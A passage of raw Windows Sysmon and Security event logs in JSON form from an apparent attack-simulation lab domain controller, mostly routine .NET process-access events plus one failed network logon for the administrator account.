12:00:31.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425F-5F2D-0000-0010250B0A00}","TargetProcessId":"616","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:31.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425F-5F2D-0000-0010250B0A00}\r\nTargetProcessId: 616\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:31.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425F-5F2D-0000-0010250B0A00}","TargetProcessId":"616","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:31.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425F-5F2D-0000-0010250B0A00}\r\nTargetProcessId: 616\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:31.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425F-5F2D-0000-0010250B0A00}","TargetProcessId":"616","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:32.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4260-5F2D-0000-0010C60E0A00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:32.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4260-5F2D-0000-0010C60E0A00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:32.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4260-5F2D-0000-0010C60E0A00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:32.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4260-5F2D-0000-0010C60E0A00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4260-5F2D-0000-0010C60E0A00}\r\nTargetProcessId: 5000\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:32.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4260-5F2D-0000-0010C60E0A00}","TargetProcessId":"5000","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222279,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B1A1\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9b1a1","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222280,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadministrator\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tAn Error occured during Logon.\r\n\tStatus:\t\t\t0xC0000225\r\n\tSub Status:\t\t0x0\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t82.80.178.164\r\n\tSource Port:\t\t63191\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\t\r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"administrator","Status":"0xc0000225","FailureReason":"%%2304","SubStatus":"0x0","LogonType":"3","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"82.80.178.164","IpPort":"63191","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:35.166\r\nProcessGuid: {90617006-4260-5F2D-0000-0010C60E0A00}\r\nProcessId: 5000\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1388-0\\WindowsBase.dll\r\nCreationUtcTime: 2020-08-07 12:00:35.166","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:35.166","ProcessGuid":"{90617006-4260-5F2D-0000-0010C60E0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1388-0\\WindowsBase.dll","CreationUtcTime":"2020-08-07 12:00:35.166","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.275\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-001056140A00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.275","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-001056140A00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 